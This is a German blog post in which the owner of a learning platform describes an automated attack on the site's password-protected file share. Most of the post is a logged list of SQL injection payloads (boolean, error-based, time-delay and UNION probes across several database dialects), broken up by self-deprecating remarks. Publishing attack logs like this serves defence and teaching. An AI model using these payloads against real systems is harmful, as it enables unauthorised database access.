Ich habe auf meiner Lernplattform www.css4.at einen Sharepoint eingerichtet.
Über den Sharepoint kann man Dateien verteilen. Um eine Datei hochzuladen benötigt man ein Passwort!
Auf diesen Sharepoint gab es am Dienstag, 8. Februar 2022 um 01:58:31 +0100 (CET) einen Hackerangriff.
Die IP-Adresse des Angreifers lautet: 45.227.253.206 - der Server steht in Panama!
Folgende weitere Informationen hat der Angreifer hinterlassen:
Sprache: en-us,en;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 (.NET CLR 3.5.30729)
Der Angriff war aber höchstwahrscheinlich scriptgesteuert, weil die Requests in einem Interval von ca. 0,5 Sekunden abgesetzt wurden.
Mein Server hat laut Konfiguration den Unsinn nach 100 Versuchen unterbunden.
Hauptsächlich SQL-Injections. Oftmals sogar redundant abgesetzt!
Hier ein 'Best Of' der Eingaben aus dem Hackerangriff:
- Passwort
- Passwort'.''(()")(
- Passwort'MkAsua<'">TdsZwu
- Passwort) AND 7520=9482 AND (3634=3634
- Passwort) AND 3197=3197 AND (2563=2563
- Passwort AND 3143=2323
- Passwort AND 3197=3197
- Passwort') AND 3197=3197 AND ('EkJB'='EkJB
- Passwort') AND 2342=3452 AND ('GNgj'='GNgj
- Passwort' AND 5005=5744 AND 'RNKf'='RNKf
- Passwort' AND 3197=3197 AND 'lmqv'='lmqv
- Passwort%' AND 8375=5589 AND '%'='
- Passwort%' AND 3197=3197 AND '%'='
- Passwort AND 2186=7078-- Vfea
- Passwort AND 3197=3197-- Moop
- (SELECT (CASE WHEN (7340=4658) THEN 7340 ELSE 7340*(SELECT 7340 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
- (SELECT (CASE WHEN (4207=4207) THEN 4207 ELSE 4207*(SELECT 4207 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
- Passwort) AND (SELECT 6811 FROM(SELECT COUNT(*),CONCAT(0x717a626271,(SELECT (ELT(6811=6811,1))),0x7170786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (4482=4482
- Passwort AND (SELECT 6811 FROM(SELECT COUNT(*),CONCAT(0x717a626271,(SELECT (ELT(6811=6811,1))),0x7170786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
- Passwort') AND (SELECT 6811 FROM(SELECT COUNT(*),CONCAT(0x717a626271,(SELECT (ELT(6811=6811,1))),0x7170786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('SkJJ'='SkJJ
- Passwort' AND (SELECT 6811 FROM(SELECT COUNT(*),CONCAT(0x717a626271,(SELECT (ELT(6811=6811,1))),0x7170786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'qNui'='qNui
- Passwort%' AND (SELECT 6811 FROM(SELECT COUNT(*),CONCAT(0x717a626271,(SELECT (ELT(6811=6811,1))),0x7170786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='
- Passwort AND (SELECT 6811 FROM(SELECT COUNT(*),CONCAT(0x717a626271,(SELECT (ELT(6811=6811,1))),0x7170786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- ffhx
- Passwort) AND 5326=CAST((CHR(113)||CHR(122)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (5326=5326) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113)) AS NUMERIC) AND (8757=8757
- Passwort AND 5326=CAST((CHR(113)||CHR(122)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (5326=5326) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113)) AS NUMERIC)
- Passwort') AND 5326=CAST((CHR(113)||CHR(122)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (5326=5326) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113)) AS NUMERIC) AND ('hbib'='hbib
- Passwort' AND 5326=CAST((CHR(113)||CHR(122)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (5326=5326) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113)) AS NUMERIC) AND 'wwct'='wwct
- Passwort%' AND 5326=CAST((CHR(113)||CHR(122)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (5326=5326) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113)) AS NUMERIC) AND '%'='
- Passwort AND 5326=CAST((CHR(113)||CHR(122)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (5326=5326) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113)) AS NUMERIC)-- IwdG
- Passwort) AND 3844=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (3844=3844) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(107)+CHAR(113))) AND (6257=6257
- Passwort AND 3844=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (3844=3844) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(107)+CHAR(113)))
- Passwort') AND 3844=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (3844=3844) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(107)+CHAR(113))) AND ('yCKR'='yCKR
- Passwort' AND 3844=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (3844=3844) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(107)+CHAR(113))) AND 'vfEw'='vfEw
- Passwort%' AND 3844=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (3844=3844) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(107)+CHAR(113))) AND '%'='
- Passwort AND 3844=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (3844=3844) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(107)+CHAR(113)))-- WfdP
- Passwort) AND 3719=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (3719=3719) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND (5456=5456
- Passwort AND 3719=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (3719=3719) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL)
- Passwort') AND 3719=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (3719=3719) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND ('Wszr'='Wszr
- Passwort' AND 3719=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (3719=3719) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND 'Hkej'='Hkej
- Passwort%' AND 3719=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (3719=3719) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND '%'='
- Passwort AND 3719=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (3719=3719) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL)-- yrXb
Jetzt wird der Nonsense interessanter!
- (SELECT 8495 FROM(SELECT COUNT(*),CONCAT(0x717a626271,(SELECT (ELT(8495=8495,1))),0x7170786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
- (SELECT CONCAT(0x717a626271,(SELECT (ELT(7420=7420,1))),0x7170786b71))
- (SELECT (CHR(113)||CHR(122)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (9784=9784) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113)))
- (SELECT CHAR(113)+CHAR(122)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (4003=4003) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(107)+CHAR(113))
Also das hat dann meine Phantasie ein wenig angeregt!
- Passwort);SELECT SLEEP(5)#
- Passwort;SELECT SLEEP(5)#
- Passwort');SELECT SLEEP(5)#
- Passwort';SELECT SLEEP(5)#
- Passwort%';SELECT SLEEP(5)#
- Passwort);SELECT PG_SLEEP(5)--
- Passwort;SELECT PG_SLEEP(5)--
- Passwort');SELECT PG_SLEEP(5)--
- Passwort';SELECT PG_SLEEP(5)--
- Passwort%';SELECT PG_SLEEP(5)--
Jetzt wird es lustig!
- Passwort);WAITFOR DELAY '0:0:5'--
- Passwort;WAITFOR DELAY '0:0:5'--
- Passwort');WAITFOR DELAY '0:0:5'--
- Passwort';WAITFOR DELAY '0:0:5'--
- Passwort%';WAITFOR DELAY '0:0:5'--
Da war ich mir nicht mehr sicher, ob meine Datenbank davon einen psychischen Schaden bekommen kann!
- Passwort);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(88)||CHR(117)||CHR(78),5) FROM DUAL--
- Passwort;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(88)||CHR(117)||CHR(78),5) FROM DUAL--
- Passwort');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(88)||CHR(117)||CHR(78),5) FROM DUAL--
- Passwort';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(88)||CHR(117)||CHR(78),5) FROM DUAL--
Aber lustig machen will ich mich auch nicht. Der Angreifer hat sicher unlautere Motive!
- Passwort) AND SLEEP(5) AND (1840=1840
- Passwort AND SLEEP(5)
- Passwort') AND SLEEP(5) AND ('zRmx'='zRmx
- Passwort' AND SLEEP(5) AND 'KTBL'='KTBL
- Passwort%' AND SLEEP(5) AND '%'='
- Passwort AND SLEEP(5)-- OaDx
Und da habe ich schon angefangen an mir selbst zu zweifeln!
- Passwort) AND 8821=(SELECT 8821 FROM PG_SLEEP(5)) AND (5178=5178
- Passwort AND 8821=(SELECT 8821 FROM PG_SLEEP(5))
- Passwort') AND 8821=(SELECT 8821 FROM PG_SLEEP(5)) AND ('XGAK'='XGAK
- Passwort' AND 8821=(SELECT 8821 FROM PG_SLEEP(5)) AND 'QzOo'='QzOo
- Passwort%' AND 8821=(SELECT 8821 FROM PG_SLEEP(5)) AND '%'='
- Passwort AND 8821=(SELECT 8821 FROM PG_SLEEP(5))-- nYqh
Vielleicht glaubt da jemand da draußen, ich sei ein arroganter Arsch und habe es nicht anders verdient!
- Passwort) WAITFOR DELAY '0:0:5' AND (7932=7932
- Passwort') WAITFOR DELAY '0:0:5' AND ('ZxrY'='ZxrY
- Passwort' WAITFOR DELAY '0:0:5' AND 'jBvg'='jBvg
- Passwort%' WAITFOR DELAY '0:0:5' AND '%'='
- Passwort WAITFOR DELAY '0:0:5'-- hIRQ
Ich wollte doch nur mit www.css4.at eine Lernplattform für HTML, CSS, Javascript, PHP, SQL usw. einreichten! Damit bin ich doch nicht das Böse in Person, oder?
- Passwort) AND 5735=DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(116)||CHR(87)||CHR(118),5) AND (8838=8838
- Passwort AND 5735=DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(116)||CHR(87)||CHR(118),5)
- Passwort') AND 5735=DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(116)||CHR(87)||CHR(118),5) AND ('FPjI'='FPjI
- Passwort' AND 5735=DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(116)||CHR(87)||CHR(118),5) AND 'sGgz'='sGgz
- Passwort%' AND 5735=DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(116)||CHR(87)||CHR(118),5) AND '%'='
- Passwort AND 5735=DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(116)||CHR(87)||CHR(118),5)-- LqRs
Ja es stimmt schon. Manchmal war und bin ich der Sprache schon etwas überheblich!
- Passwort) ORDER BY 1-- Qymo
- Passwort) ORDER BY 4523-- Rxgs
- Passwort) UNION ALL SELECT NULL-- snMk
- Passwort) UNION ALL SELECT NULL,NULL-- WljT
- Passwort) UNION ALL SELECT NULL,NULL,NULL-- EfVt
- Passwort) UNION ALL SELECT NULL,NULL,NULL,NULL-- EaPP
- Passwort) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- EnmN
- Passwort) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- UKgu
Und last but not least:
- Passwort) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- dYMB
Hier hat mein Server die Aktion gestoppt. Natürlich habe ich mich sofort gefragt: Was weiß der Typ was ich nicht weiß?
Denn schließlich weiß ich bedeutend weniger als ich nicht-weiß. Ich würde sogar sagen: "Wenn ich mein Wissen mit meinem Nicht-Wissen vergleiche, dann ist mein Nicht-Wissen ca. 99.9 % groß."
Und das bezieht sich nicht nur auf mein IT-Wissen, sondern wirklich auf alles was ich je gelernt habe.